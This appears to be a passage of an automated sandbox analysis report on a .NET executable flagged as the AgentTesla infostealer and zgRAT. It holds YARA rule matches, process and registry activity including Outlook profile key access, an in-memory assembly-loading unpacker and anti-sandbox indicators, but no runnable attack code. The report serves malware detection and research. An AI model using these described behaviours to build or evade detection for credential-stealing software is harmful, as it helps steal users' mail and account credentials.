                Source: 0.2.rzN2ckYW24.exe.2cd4898.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.2cf7984.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: 0.2.rzN2ckYW24.exe.2d587f0.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: Process Memory Space: rzN2ckYW24.exe PID: 3044, type: MEMORYSTRMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTRMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                .NET source code contains very large array initializations
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b87A8F58Cu002dE7E8u002d43ADu002d9293u002dD820C15D240Cu007d/ED869E5Fu002dF8FEu002d4A77u002dA1BBu002dFA143876B5CC.csLarge array initialization: .cctor: array initializer size 10986
                Source: rzN2ckYW24.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 0.2.rzN2ckYW24.exe.2cd4898.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                Source: 0.2.rzN2ckYW24.exe.2cf7984.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 0.2.rzN2ckYW24.exe.2d587f0.8.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                Source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: Process Memory Space: rzN2ckYW24.exe PID: 3044, type: MEMORYSTRMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTRMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_02B3E3900_2_02B3E390
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_02B3E38A0_2_02B3E38A
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_02B3C41C0_2_02B3C41C
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_075F18D80_2_075F18D8
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_075F18E80_2_075F18E8
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_00E8FA602_2_00E8FA60
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_00E802272_2_00E80227
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_00E86C602_2_00E86C60
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_05C4C6382_2_05C4C638
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_05C429F82_2_05C429F8
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_05C409102_2_05C40910
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_05C4D3982_2_05C4D398
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_05C400402_2_05C40040
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_065294082_2_06529408
                Source: rzN2ckYW24.exe, 00000000.00000000.253186404.0000000000A66000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameVAZlQ.exe, vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameWise.dll6 vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamec6543d50-f152-4327-a2fd-262f3848f5e8.exe4 vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000000.00000002.308322614.0000000007560000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCollins.dll8 vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamec6543d50-f152-4327-a2fd-262f3848f5e8.exe4 vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCollins.dll8 vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000002.00000002.518621296.00000000008F9000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exe, 00000002.00000000.280006531.0000000000438000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: OriginalFilenamec6543d50-f152-4327-a2fd-262f3848f5e8.exe4 vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exeBinary or memory string: OriginalFilenameVAZlQ.exe, vs rzN2ckYW24.exe
                Source: rzN2ckYW24.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: rzN2ckYW24.exeVirustotal: Detection: 30%
                Source: rzN2ckYW24.exeReversingLabs: Detection: 31%
                Source: rzN2ckYW24.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: unknownProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exe
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exe
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exe
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exeJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess created: C:\Users\user\Desktop\rzN2ckYW24.exe C:\Users\user\Desktop\rzN2ckYW24.exeJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rzN2ckYW24.exe.logJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile created: C:\Users\user\AppData\Local\Temp\tmp4B06.tmpJump to behavior
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@5/1@3/2
                Source: rzN2ckYW24.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, A/f2.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, A/f2.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
                Source: rzN2ckYW24.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                Source: rzN2ckYW24.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: rzN2ckYW24.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

                Data Obfuscation

                barindex
                .NET source code contains potential unpacker
                Source: rzN2ckYW24.exe, BeerPalaceEPOSApp/MainMenuForm.cs.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
                Source: 0.0.rzN2ckYW24.exe.9c0000.0.unpack, BeerPalaceEPOSApp/MainMenuForm.cs.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_075F5959 push ecx; ret 0_2_075F595A
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 0_2_077C3DFF pushad ; ret 0_2_077C3E06
                Source: rzN2ckYW24.exeStatic PE information: 0xBEFF304D [Fri Jul 17 21:44:45 2071 UTC]
                Source: initial sampleStatic PE information: section name: .text entropy: 7.934508263967678
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
